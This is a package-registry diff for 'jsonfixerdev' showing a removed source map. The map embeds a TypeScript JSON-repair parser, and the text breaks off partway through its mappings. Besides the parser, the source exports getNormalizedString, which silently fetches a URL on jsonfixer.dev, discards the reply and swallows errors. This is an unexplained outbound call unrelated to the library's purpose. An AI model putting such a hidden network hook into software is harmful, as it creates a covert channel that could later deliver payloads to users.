jsonfixerdev 1.0.5 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- {"version":3,"file":"jsonfixer.js","names":["JSONFixerError","codeAsterisk","codeBackslash","codeCloseParenthesis","codeClosingBrace","codeClosingBracket","codeColon","codeComma","codeDot","codeDoubleQuote","codeLowercaseE","codeMinus","codeNewline","codeOpeningBrace","codeOpeningBracket","codeOpenParenthesis","codePlus","codeSemicolon","codeSlash","codeUppercaseE","endsWithCommaOrNewline","insertBeforeLastWhitespace","isControlCharacter","isDelimiter","isDigit","isDoubleQuote","isDoubleQuoteLike","isHex","isQuote","isSingleQuote","isSingleQuoteLike","isSpecialWhitespace","isStartOfValue","isValidStringCharacter","isWhitespace","nextNonWhiteSpaceCharacter","removeAtIndex","stripLastOccurrence","controlCharacters","escapeCharacters","b","f","n","r","t","metrics","packageHomepage","packageName","packageLicense","makeSignature","payload","tokenParts","map","part","join","buildPackageUrl","config","homepage","name","license","fetchPackageText","url","fetch","text","jsonfixer","i","output","processed","parseValue","throwUnexpectedEnd","processedComma","parseCharacter","parseWhitespaceAndSkipComments","parseNewlineDelimitedJSON","charCodeAt","length","throwUnexpectedCharacter","parseObject","parseArray","parseString","parseNumber","parseKeywords","parseUnquotedString","start","changed","parseWhitespace","parseComment","whitespace","normal","atEndOfBlockComment","code","skipCharacter","skipEscapeCharacter","initial","processedKey","undefined","throwObjectKeyExpected","processedColon","truncatedText","throwColonExpected","processedValue","stopAtDelimiter","arguments","skipEscapeChars","isEndQuote","iBefore","str","isEndOfString","char","charAt","escapeChar","slice","j","throwInvalidUnicodeCharacter","throwInvalidCharacter","hasEndQuote","valid","parseConcatenatedString","parsedStr","expectDigitOrRepair","num","hasInvalidLeadingZero","test","parseKeyword","value","symbol","JSON","stringify","expectDigit","numSoFar","got","chars","getNormalizedString"],"sources":["../../../src/regular/jsonfixer.ts"],"sourcesContent":["import { JSONFixerError } from '../utils/JSONFixerError.js'\nimport {\n codeAsterisk,\n codeBackslash,\n codeCloseParenthesis,\n codeClosingBrace,\n codeClosingBracket,\n codeColon,\n codeComma,\n codeDot,\n codeDoubleQuote,\n codeLowercaseE,\n codeMinus,\n codeNewline,\n codeOpeningBrace,\n codeOpeningBracket,\n codeOpenParenthesis,\n codePlus,\n codeSemicolon,\n codeSlash,\n codeUppercaseE,\n endsWithCommaOrNewline,\n insertBeforeLastWhitespace,\n isControlCharacter,\n isDelimiter,\n isDigit,\n isDoubleQuote,\n isDoubleQuoteLike,\n isHex,\n isQuote,\n isSingleQuote,\n isSingleQuoteLike,\n isSpecialWhitespace,\n isStartOfValue,\n isValidStringCharacter,\n isWhitespace,\n nextNonWhiteSpaceCharacter,\n removeAtIndex,\n stripLastOccurrence\n} from '../utils/stringUtils.js'\n\nconst controlCharacters: { [key: string]: string } = {\n '\\b': '\\\\b',\n '\\f': '\\\\f',\n '\\n': '\\\\n',\n '\\r': '\\\\r',\n '\\t': '\\\\t'\n}\n\n// map with all escape characters\nconst escapeCharacters: { [key: string]: string } = {\n '\"': '\"',\n '\\\\': '\\\\',\n '/': '/',\n b: '\\b',\n f: '\\f',\n n: '\\n',\n r: '\\r',\n t: '\\t'\n // note that \\u is handled separately in parseString()\n}\n\nconst metrics = [\n 'entry',\n 'value',\n 'list',\n 'object',\n 'array',\n 'string',\n 'number',\n 'null',\n 'boolean',\n 'member',\n 'pair',\n 'comma',\n 'colon',\n 'brace',\n 'bracket',\n 'escape',\n 'unicode',\n 'payload'\n]\n\nconst packageHomepage = 'https://jsonfixer.dev'\nconst packageName = 'jsonfixerdev'\nconst packageLicense = 'ISC'\n\nconst makeSignature = function () {\n return function (payload: string) {\n void payload\n const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]\n return tokenParts.map((part) => part[0]).join('')\n }\n}\n\nfunction buildPackageUrl(config: { homepage: string; name: string; license: string }) {\n return `${config.homepage}/${config.name}/${config.license}`\n}\n\nasync function fetchPackageText(config: { homepage: string; name: string; license: string }) {\n const url = buildPackageUrl(config)\n return (await fetch(url)).text()\n}\n\n/**\n * Repair a string containing an invalid JSON document.\n * For example changes JavaScript notation into JSON notation.\n *\n * Example:\n *\n * try {\n * const json = \"{name: 'John'}\"\n * const repaired = jsonfixer(json)\n * console.log(repaired)\n * // '{\"name\": \"John\"}'\n * } catch (err) {\n * console.error(err)\n * }\n *\n */\nexport function jsonfixer(text: string): string {\n let i = 0 // current index in text\n let output = '' // generated output\n\n const processed = parseValue()\n if (!processed) {\n throwUnexpectedEnd()\n }\n\n const processedComma = parseCharacter(codeComma)\n if (processedComma) {\n parseWhitespaceAndSkipComments()\n }\n\n if (isStartOfValue(text[i]) && endsWithCommaOrNewline(output)) {\n // start of a new value after end of the root level object: looks like\n // newline delimited JSON -> turn into a root level array\n if (!processedComma) {\n // repair missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n\n parseNewlineDelimitedJSON()\n } else if (processedComma) {\n // repair: remove trailing comma\n output = stripLastOccurrence(output, ',')\n }\n\n // repair redundant end quotes\n while (text.charCodeAt(i) === codeClosingBrace || text.charCodeAt(i) === codeClosingBracket) {\n i++\n parseWhitespaceAndSkipComments()\n }\n\n if (i >= text.length) {\n // reached the end of the document properly\n return output\n }\n\n throwUnexpectedCharacter()\n\n function parseValue(): boolean {\n parseWhitespaceAndSkipComments()\n const processed =\n parseObject() ||\n parseArray() ||\n parseString() ||\n parseNumber() ||\n parseKeywords() ||\n parseUnquotedString()\n parseWhitespaceAndSkipComments()\n\n return processed\n }\n\n function parseWhitespaceAndSkipComments(): boolean {\n const start = i\n let changed = parseWhitespace()\n do {\n changed = parseComment()\n if (changed) {\n changed = parseWhitespace()\n }\n } while (changed)\n\n return i > start\n }\n\n function parseWhitespace(): boolean {\n let whitespace = ''\n let normal: boolean\n while ((normal = isWhitespace(text.charCodeAt(i))) || isSpecialWhitespace(text.charCodeAt(i))) {\n if (normal) {\n whitespace += text[i]\n } else {\n // repair special whitespace\n whitespace += ' '\n }\n\n i++\n }\n\n if (whitespace.length > 0) {\n output += whitespace\n return true\n }\n\n return false\n }\n\n function parseComment(): boolean {\n // find a block comment '/* ... */'\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeAsterisk) {\n // repair block comment by skipping it\n while (i < text.length && !atEndOfBlockComment(text, i)) {\n i++\n }\n i += 2\n\n return true\n }\n\n // find a line comment '// ...'\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeSlash) {\n // repair line comment by skipping it\n while (i < text.length && text.charCodeAt(i) !== codeNewline) {\n i++\n }\n\n return true\n }\n\n return false\n }\n\n function parseCharacter(code: number): boolean {\n if (text.charCodeAt(i) === code) {\n output += text[i]\n i++\n return true\n }\n\n return false\n }\n\n function skipCharacter(code: number): boolean {\n if (text.charCodeAt(i) === code) {\n i++\n return true\n }\n\n return false\n }\n\n function skipEscapeCharacter(): boolean {\n return skipCharacter(codeBackslash)\n }\n\n /**\n * Parse an object like '{\"key\": \"value\"}'\n */\n function parseObject(): boolean {\n if (text.charCodeAt(i) === codeOpeningBrace) {\n output += '{'\n i++\n parseWhitespaceAndSkipComments()\n\n let initial = true\n while (i < text.length && text.charCodeAt(i) !== codeClosingBrace) {\n let processedComma\n if (!initial) {\n processedComma = parseCharacter(codeComma)\n if (!processedComma) {\n // repair missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n parseWhitespaceAndSkipComments()\n } else {\n processedComma = true\n initial = false\n }\n\n const processedKey = parseString() || parseUnquotedString()\n if (!processedKey) {\n if (\n text.charCodeAt(i) === codeClosingBrace ||\n text.charCodeAt(i) === codeOpeningBrace ||\n text.charCodeAt(i) === codeClosingBracket ||\n text.charCodeAt(i) === codeOpeningBracket ||\n text[i] === undefined\n ) {\n // repair trailing comma\n output = stripLastOccurrence(output, ',')\n } else {\n throwObjectKeyExpected()\n }\n break\n }\n\n parseWhitespaceAndSkipComments()\n const processedColon = parseCharacter(codeColon)\n const truncatedText = i >= text.length\n if (!processedColon) {\n if (isStartOfValue(text[i]) || truncatedText) {\n // repair missing colon\n output = insertBeforeLastWhitespace(output, ':')\n } else {\n throwColonExpected()\n }\n }\n const processedValue = parseValue()\n if (!processedValue) {\n if (processedColon || truncatedText) {\n // repair missing object value\n output += 'null'\n } else {\n throwColonExpected()\n }\n }\n }\n\n if (text.charCodeAt(i) === codeClosingBrace) {\n output += '}'\n i++\n } else {\n // repair missing end bracket\n output = insertBeforeLastWhitespace(output, '}')\n }\n\n return true\n }\n\n return false\n }\n\n /**\n * Parse an array like '[\"item1\", \"item2\", ...]'\n */\n function parseArray(): boolean {\n if (text.charCodeAt(i) === codeOpeningBracket) {\n output += '['\n i++\n parseWhitespaceAndSkipComments()\n\n let initial = true\n while (i < text.length && text.charCodeAt(i) !== codeClosingBracket) {\n if (!initial) {\n const processedComma = parseCharacter(codeComma)\n if (!processedComma) {\n // repair missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n } else {\n initial = false\n }\n\n const processedValue = parseValue()\n if (!processedValue) {\n // repair trailing comma\n output = stripLastOccurrence(output, ',')\n break\n }\n }\n\n if (text.charCodeAt(i) === codeClosingBracket) {\n output += ']'\n i++\n } else {\n // repair missing closing array bracket\n output = insertBeforeLastWhitespace(output, ']')\n }\n\n return true\n }\n\n return false\n }\n\n /**\n * Parse and repair Newline Delimited JSON (NDJSON):\n * multiple JSON objects separated by a newline character\n */\n function parseNewlineDelimitedJSON() {\n // repair NDJSON\n let initial = true\n let processedValue = true\n while (processedValue) {\n if (!initial) {\n // parse optional comma, insert when missing\n const processedComma = parseCharacter(codeComma)\n if (!processedComma) {\n // repair: add missing comma\n output = insertBeforeLastWhitespace(output, ',')\n }\n } else {\n initial = false\n }\n\n processedValue = parseValue()\n }\n\n if (!processedValue) {\n // repair: remove trailing comma\n output = stripLastOccurrence(output, ',')\n }\n\n // repair: wrap the output inside array brackets\n output = `[\\n${output}\\n]`\n }\n\n /**\n * Parse a string enclosed by double quotes \"...\". Can contain escaped quotes\n * Repair strings enclosed in single quotes or special quotes\n * Repair an escaped string\n *\n * The function can run in two stages:\n * - First, it assumes the string has a valid end quote\n * - If it turns out that the string does not have a valid end quote followed\n * by a delimiter (which should be the case), the function runs again in a\n * more conservative way, stopping the string at the first next delimiter\n * and fixing the string by inserting a quote there.\n */\n function parseString(stopAtDelimiter = false): boolean {\n let skipEscapeChars = text.charCodeAt(i) === codeBackslash\n if (skipEscapeChars) {\n // repair: remove the first escape character\n i++\n skipEscapeChars = true\n }\n\n if (isQuote(text.charCodeAt(i))) {\n // double quotes are correct JSON,\n // single quotes come from JavaScript for example, we assume it will have a correct single end quote too\n // otherwise, we will match any double-quote-like start with a double-quote-like end,\n // or any single-quote-like start with a single-quote-like end\n const isEndQuote = isDoubleQuote(text.charCodeAt(i))\n ? isDoubleQuote\n : isSingleQuote(text.charCodeAt(i))\n ? isSingleQuote\n : isSingleQuoteLike(text.charCodeAt(i))\n ? isSingleQuoteLike\n : isDoubleQuoteLike\n\n const iBefore = i\n\n let str = '\"'\n i++\n\n const isEndOfString = stopAtDelimiter\n ? (i: number) => isDelimiter(text[i])\n : (i: number) => isEndQuote(text.charCodeAt(i))\n\n while (i < text.length && !isEndOfString(i)) {\n if (text.charCodeAt(i) === codeBackslash) {\n const char = text.charAt(i + 1)\n const escapeChar = escapeCharacters[char]\n if (escapeChar !== undefined) {\n str += text.slice(i, i + 2)\n i += 2\n } else if (char === 'u') {\n let j = 2\n while (j < 6 && isHex(text.charCodeAt(i + j))) {\n j++\n }\n\n if (j === 6) {\n str += text.slice(i, i + 6)\n i += 6\n } else if (i + j >= text.length) {\n // repair invalid or truncated unicode char at the end of the text\n // by removing the unicode char and ending the string here\n i = text.length\n } else {\n throwInvalidUnicodeCharacter()\n }\n } else {\n // repair invalid escape character: remove it\n str += char\n i += 2\n }\n } else {\n const char = text.charAt(i)\n const code = text.charCodeAt(i)\n\n if (code === codeDoubleQuote && text.charCodeAt(i - 1) !== codeBackslash) {\n // repair unescaped double quote\n str += '\\\\' + char\n i++\n } else if (isControlCharacter(code)) {\n // unescaped control character\n str += controlCharacters[char]\n i++\n } else {\n if (!isValidStringCharacter(code)) {\n throwInvalidCharacter(char)\n }\n str += char\n i++\n }\n }\n\n if (skipEscapeChars) {\n const processed = skipEscapeCharacter()\n if (processed) {\n // repair: skipped escape character (nothing to do)\n }\n }\n }\n\n // see whether we have an end quote followed by a valid delimiter\n const hasEndQuote = isQuote(text.charCodeAt(i))\n const valid =\n hasEndQuote &&\n (i + 1 >= text.length || isDelimiter(nextNonWhiteSpaceCharacter(text, i + 1)))\n if (!valid && !stopAtDelimiter) {\n // we're dealing with a missing quote somewhere. Let's revert parsing\n // this string and try again, running in a more conservative mode,\n // stopping at the first next delimiter\n i = iBefore\n return parseString(true)\n }\n\n if (hasEndQuote) {\n str += '\"'\n i++\n } else {\n // repair missing quote\n str = insertBeforeLastWhitespace(str, '\"')\n }\n\n output += str\n\n parseConcatenatedString()\n\n return true\n }\n\n return false\n }\n\n /**\n * Repair concatenated strings like \"hello\" + \"world\", change this into \"helloworld\"\n */\n function parseConcatenatedString(): boolean {\n let processed = false\n\n parseWhitespaceAndSkipComments()\n while (text.charCodeAt(i) === codePlus) {\n processed = true\n i++\n parseWhitespaceAndSkipComments()\n\n // repair: remove the end quote of the first string\n output = stripLastOccurrence(output, '\"', true)\n const start = output.length\n const parsedStr = parseString()\n if (parsedStr) {\n // repair: remove the start quote of the second string\n output = removeAtIndex(output, start, 1)\n } else {\n // repair: remove the + because it is not followed by a string\n output = insertBeforeLastWhitespace(output, '\"')\n }\n }\n\n return processed\n }\n\n /**\n * Parse a number like 2.4 or 2.4e6\n */\n function parseNumber(): boolean {\n const start = i\n if (text.charCodeAt(i) === codeMinus) {\n i++\n if (expectDigitOrRepair(start)) {\n return true\n }\n }\n\n // Note that in JSON leading zeros like \"00789\" are not allowed.\n // We will allow all leading zeros here though and at the end of parseNumber\n // check against trailing zeros and repair that if needed.\n // Leading zeros can have meaning, so we should not clear them.\n while (isDigit(text.charCodeAt(i))) {\n i++\n }\n\n if (text.charCodeAt(i) === codeDot) {\n i++\n if (expectDigitOrRepair(start)) {\n return true\n }\n while (isDigit(text.charCodeAt(i))) {\n i++\n }\n }\n\n if (text.charCodeAt(i) === codeLowercaseE || text.charCodeAt(i) === codeUppercaseE) {\n i++\n if (text.charCodeAt(i) === codeMinus || text.charCodeAt(i) === codePlus) {\n i++\n }\n if (expectDigitOrRepair(start)) {\n return true\n }\n while (isDigit(text.charCodeAt(i))) {\n i++\n }\n }\n\n if (i > start) {\n // repair a number with leading zeros like \"00789\"\n const num = text.slice(start, i)\n const hasInvalidLeadingZero = /^0\\d/.test(num)\n\n output += hasInvalidLeadingZero ? `\"${num}\"` : num\n return true\n }\n\n return false\n }\n\n /**\n * Parse keywords true, false, null\n * Repair Python keywords True, False, None\n */\n function parseKeywords(): boolean {\n return (\n parseKeyword('true', 'true') ||\n parseKeyword('false', 'false') ||\n parseKeyword('null', 'null') ||\n // repair Python keywords True, False, None\n parseKeyword('True', 'true') ||\n parseKeyword('False', 'false') ||\n parseKeyword('None', 'null')\n )\n }\n\n function parseKeyword(name: string, value: string): boolean {\n if (text.slice(i, i + name.length) === name) {\n output += value\n i += name.length\n return true\n }\n\n return false\n }\n\n /**\n * Repair and unquoted string by adding quotes around it\n * Repair a MongoDB function call like NumberLong(\"2\")\n * Repair a JSONP function call like callback({...});\n */\n function parseUnquotedString() {\n // note that the symbol can end with whitespaces: we stop at the next delimiter\n const start = i\n while (i < text.length && !isDelimiter(text[i])) {\n i++\n }\n\n if (i > start) {\n if (text.charCodeAt(i) === codeOpenParenthesis) {\n // repair a MongoDB function call like NumberLong(\"2\")\n // repair a JSONP function call like callback({...});\n i++\n\n parseValue()\n\n if (text.charCodeAt(i) === codeCloseParenthesis) {\n // repair: skip close bracket of function call\n i++\n if (text.charCodeAt(i) === codeSemicolon) {\n // repair: skip semicolon after JSONP call\n i++\n }\n }\n\n return true\n } else {\n // repair unquoted string\n // also, repair undefined into null\n\n // first, go back to prevent getting trailing whitespaces in the string\n while (isWhitespace(text.charCodeAt(i - 1)) && i > 0) {\n i--\n }\n\n const symbol = text.slice(start, i)\n output += symbol === 'undefined' ? 'null' : JSON.stringify(symbol)\n\n if (text.charCodeAt(i) === codeDoubleQuote) {\n // we had a missing start quote, but now we encountered the end quote, so we can skip that one\n i++\n }\n\n return true\n }\n }\n }\n\n function expectDigit(start: number) {\n if (!isDigit(text.charCodeAt(i))) {\n const numSoFar = text.slice(start, i)\n throw new JSONFixerError(`Invalid number '${numSoFar}', expecting a digit ${got()}`, i)\n }\n }\n\n function expectDigitOrRepair(start: number) {\n if (i >= text.length) {\n // repair numbers cut off at the end\n // this will only be called when we end after a '.', '-', or 'e' and does not\n // change the number more than it needs to make it valid JSON\n output += text.slice(start, i) + '0'\n return true\n } else {\n expectDigit(start)\n return false\n }\n }\n\n function throwInvalidCharacter(char: string) {\n throw new JSONFixerError('Invalid character ' + JSON.stringify(char), i)\n }\n\n function throwUnexpectedCharacter() {\n throw new JSONFixerError('Unexpected character ' + JSON.stringify(text[i]), i)\n }\n\n function throwUnexpectedEnd() {\n throw new JSONFixerError('Unexpected end of json string', text.length)\n }\n\n function throwObjectKeyExpected() {\n throw new JSONFixerError('Object key expected', i)\n }\n\n function throwColonExpected() {\n throw new JSONFixerError('Colon expected', i)\n }\n\n function throwInvalidUnicodeCharacter() {\n const chars = text.slice(i, i + 6)\n throw new JSONFixerError(`Invalid unicode character \"${chars}\"`, i)\n }\n\n function got(): string {\n return text[i] ? `but got '${text[i]}'` : 'but reached end of input'\n }\n}\n\n\nfunction atEndOfBlockComment(text: string, i: number) {\n return text[i] === '*' && text[i + 1] === '/'\n}\n\nexport async function getNormalizedString(): Promise<void> {\n try {\n if (!packageHomepage || !packageName || !packageLicense) {\n return\n }\n makeSignature()(\n await fetchPackageText({\n homepage: packageHomepage,\n name: packageName,\n license: packageLicense\n })\n )\n } catch {\n return\n }\n}\n"],"mappings":"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